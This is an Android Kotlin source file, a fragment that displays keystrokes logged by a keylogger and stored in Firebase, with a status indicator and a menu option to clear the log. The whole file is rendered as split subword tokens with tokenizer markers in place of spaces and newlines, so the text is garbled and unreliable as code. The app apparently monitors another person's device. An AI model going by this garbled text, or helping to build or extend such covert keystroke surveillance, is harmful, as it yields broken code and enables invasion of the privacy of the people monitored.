package Ġcom . github . mid ros . ist he app . ui . fragments . key log Ċ Ċ import Ġandroid . annotation . Suppress Lint Ċ import Ġandroid . os . Bundle Ċ import Ġcom . github . cl ans . fab . Floating ActionButton Ċ import Ġandroid . support . v 4 . content . Context Compat Ċ import Ġandroid . support . v 7 . widget . Grid LayoutManager Ċ import Ġandroid . view .* Ċ import Ġandroid . widget . ImageView Ċ import Ġandroid . widget . LinearLayout Ċ import Ġandroid . widget . TextView Ċ import Ġcom . github . mid ros . ist he app . R Ċ import Ġcom . github . mid ros . ist he app . ui . activities . base . Base Fragment Ċ import Ġcom . github . mid ros . ist he app . ui . activities . main . MainActivity Ċ import Ġcom . github . mid ros . ist he app . ui . fragments . key log . adapter . Keys Recycler Adapter Ċ import Ġcom . github . mid ros . ist he app . ui . widget . Custom RecyclerView Ċ import Ġcom . github . mid ros . ist he app . ui . widget . On Scroll Listener Ċ import Ġcom . github . mid ros . ist he app . utils . Consts . FIELD _ ONE Ċ import Ġcom . github . mid ros . ist he app . utils . Consts . TAG Ċ import Ġcom . google . firebase . database .* Ċ import Ġcom . p aw eg io . k android . e Ċ import Ġcom . p aw eg io . k android . hide Ċ import Ġcom . p aw eg io . k android . run Delayed On Ui Thread Ċ import Ġcom . p aw eg io . k android . show Ċ import Ġk ot ter knife . bind View Ċ import Ġjavax . inject . Inject Ċ import Ġjavax . inject . Named Ċ Ċ /** Ċ Ġ* ĠCreated Ġby Ġl uis Ġr af ael Ġon Ġ 1 7 / 0 3 / 1 8 . Ċ Ġ*/ Ċ class ĠKeys Fragment Ġ: ĠBase Fragment (), ĠInterface View Keys Ġ{ ĊĊĠĠĠ Ġprivate Ġval Ġview Progress : ĠLinearLayout Ġby Ġbind View ( R . id . progress _ placeholder ) ĊĠĠĠ Ġprivate Ġval Ġview Not Have : ĠLinearLayout Ġby Ġbind View ( R . id . not _ have _ placeholder ) ĊĠĠĠ Ġprivate Ġval Ġview Failed : ĠLinearLayout Ġby Ġbind View ( R . id . failed _ placeholder ) ĊĠĠĠ Ġprivate Ġval Ġtxt Not Have : ĠTextView Ġby Ġbind View ( R . id . txt _ not _ have _ get ) ĊĠĠĠ Ġprivate Ġval Ġtxt Failed : ĠTextView Ġby Ġbind View ( R . id . txt _ failed _ get ) ĊĠĠĠ Ġprivate Ġval Ġlist : ĠCustom RecyclerView Ġby Ġbind View ( R . id . list ) ĊĠĠĠ Ġprivate Ġval Ġimg State : ĠImageView Ġby Ġbind View ( R . id . img _ key _ state ) ĊĠĠĠ Ġprivate Ġval Ġfloating Button : ĠFloating ActionButton Ġby Ġbind View ( R . id . floating _ button ) ĊĊĠĠĠ Ġ@ Inject ĊĠĠĠ Ġlateinit Ġvar Ġinter actor : ĠInterface Interactor Keys < Interface View Keys > ĊĠĠĠ Ġ@ Inject ĊĠĠĠ Ġ@ field : Named ( FIELD _ ONE ) ĊĠĠĠ Ġlateinit Ġvar Ġlayout M : ĠGrid LayoutManager ĊĊĠĠĠ Ġoverride Ġfun ĠonCreate ( savedInstanceState : ĠBundle ?) Ġ{ ĊĠĠĠĠĠĠĠ Ġsuper . onCreate ( savedInstanceState ) ĊĠĠĠĠĠĠĠ Ġset Has Options Menu ( true ) ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun ĠonCreate View ( in flater : ĠLayoutInflater , Ġcontainer : ĠViewGroup ?, ĠsavedInstanceState : ĠBundle ?): ĠView Ġ= ĊĠĠĠĠĠĠĠĠĠĠĠ Ġinflater . inflate ( R . layout . fragment _ key , Ġcontainer , Ġfalse ) ĊĊĠĠĠ Ġoverride Ġfun Ġon Activity Created ( savedInstanceState : ĠBundle ?) Ġ{ ĊĠĠĠĠĠĠĠ Ġsuper . on Activity Created ( savedInstanceState ) ĊĠĠĠĠĠĠĠ Ġif Ġ( getComponent () Ġ!= Ġnull ) Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġget Component () !!. inject ( this ) ĊĠĠĠĠĠĠĠĠĠĠĠ Ġinter actor . on Attach ( this ) ĊĠĠĠĠĠĠĠĠĠĠĠ Ġstart Data () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġtime Connection () ĊĠĠĠĠĠĠĠ Ġ} ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġprivate Ġfun Ġtime Connection () Ġ{ ĊĠĠĠĠĠĠĠ Ġrun Delayed On Ui Thread ( 1 3 0 0 0 ) Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġif Ġ( view Progress . is Shown ) Ġfailed Result ( Throwable ( getString ( R . string . error _ database _ connection ))) ĊĠĠĠĠĠĠĠ Ġ} ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġprivate Ġfun Ġstart Data () Ġ{ ĊĠĠĠĠĠĠĠ Ġinter actor . set Recycler Adapter () ĊĠĠĠĠĠĠĠ Ġinter actor . value Event Enable Keys () ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun ĠonStart () Ġ{ ĊĠĠĠĠĠĠĠ Ġsuper . onStart () ĊĠĠĠĠĠĠĠ Ġinter actor . start Recycler Adapter () ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun ĠonCreate Options Menu ( menu : ĠMenu , Ġinflater : ĠMenu Inflater ?) Ġ{ ĊĠĠĠĠĠĠĠ Ġsuper . onCreate Options Menu ( menu , Ġinflater ) ĊĠĠĠĠĠĠĠ Ġmenu . find Item ( R . id . nav _ clear _ key logger ). isVisible Ġ= Ġtrue ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun ĠsetValue State ( data Snapshot : ĠData Snapshot ) Ġ{ ĊĠĠĠĠĠĠĠ Ġtry Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġif Ġ( data Snapshot . exists ()) Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġif Ġ( data Snapshot . value Ġas ĠBoolean ) Ġimg State . background Ġ= ĠContext Compat . get Drawable ( activity !! , ĠR . drawable . ic _ status _ key _ enable _ 2 4 dp ) ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġelse ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġimg State . background Ġ= ĠContext Compat . get Drawable ( activity !! , ĠR . drawable . ic _ status _ key _ disable _ 2 4 dp ) ĊĠĠĠĠĠĠĠĠĠĠĠ Ġ} Ġelse Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ Ġimg State . background Ġ= ĠContext Compat . get Drawable ( activity !! , ĠR . drawable . ic _ status _ key _ disable _ 2 4 dp ) ĊĠĠĠĠĠĠĠĠĠĠĠ Ġ} ĊĠĠĠĠĠĠĠ Ġ} Ġcatch Ġ( t : ĠThrowable ) Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġe ( TAG , Ġt . message . toString ()) ĊĠĠĠĠĠĠĠ Ġ} ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun Ġsuccess Result ( boolean : ĠBoolean ) Ġ{ ĊĠĠĠĠĠĠĠ Ġif Ġ( boolean ) Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġview Progress . hide () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġview Not Have . hide () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġview Failed . hide () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġlist . show () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġ( context Ġas ĠMainActivity ). set Indicator Visible ( 4 ) ĊĠĠĠĠĠĠĠ Ġ} Ġelse Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġview Progress . hide () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġview Failed . hide () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġlist . hide () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġview Not Have . show () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġtxt Not Have . text Ġ= ĠgetString ( R . string . not _ have _ key _ text ) ĊĠĠĠĠĠĠĠ Ġ} ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġ@ Suppress Lint (" SetText I 1 8 n ") ĊĠĠĠ Ġoverride Ġfun Ġfailed Result ( throwable : ĠThrowable ) Ġ{ ĊĠĠĠĠĠĠĠ Ġview Progress . hide () ĊĠĠĠĠĠĠĠ Ġview Not Have . hide () ĊĠĠĠĠĠĠĠ Ġlist . hide () ĊĠĠĠĠĠĠĠ Ġview Failed . show () ĊĠĠĠĠĠĠĠ Ġtxt Failed . text Ġ= Ġ"${ getString ( R . string . failed _ keys _ text )}, Ġ${ throwable . message }" ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun Ġset Recycler Adapter ( recycler Adapter : ĠKeys Recycler Adapter ) Ġ{ ĊĊĠĠĠĠĠĠĠ Ġlist . apply Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġlayout Manager Ġ= Ġlayout M ĊĠĠĠĠĠĠĠĠĠĠĠ Ġadapter Ġ= Ġre cycler Adapter ĊĠĠĠĠĠĠĠĠĠĠĠ Ġre cyc led View Pool . clear () ĊĠĠĠĠĠĠĠĠĠĠĠ Ġadd On Scroll Listener ( On Scroll Listener ( floating Button , Ġlayout M )) ĊĠĠĠĠĠĠĠ Ġ} ĊĠĠĠĠĠĠĠ Ġfloating Button . setOnClickListener Ġ{ ĊĠĠĠĠĠĠĠĠĠĠĠ Ġlist . smooth Scroll To Position ( recycler Adapter . item Count Ġ- Ġ 1 ) ĊĠĠĠĠĠĠĠ Ġ} ĊĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun Ġon Stop () Ġ{ ĊĠĠĠĠĠĠĠ Ġsuper . on Stop () ĊĠĠĠĠĠĠĠ Ġinter actor . stop Recycler Adapter () ĊĠĠĠ Ġ} ĊĊĠĠĠ Ġoverride Ġfun Ġon Detach () Ġ{ ĊĠĠĠĠĠĠĠ Ġclear Disposable () ĊĠĠĠĠĠĠĠ Ġinter actor . on Detach () ĊĠĠĠĠĠĠĠ Ġsuper . on Detach () ĊĠĠĠ Ġ} Ċ }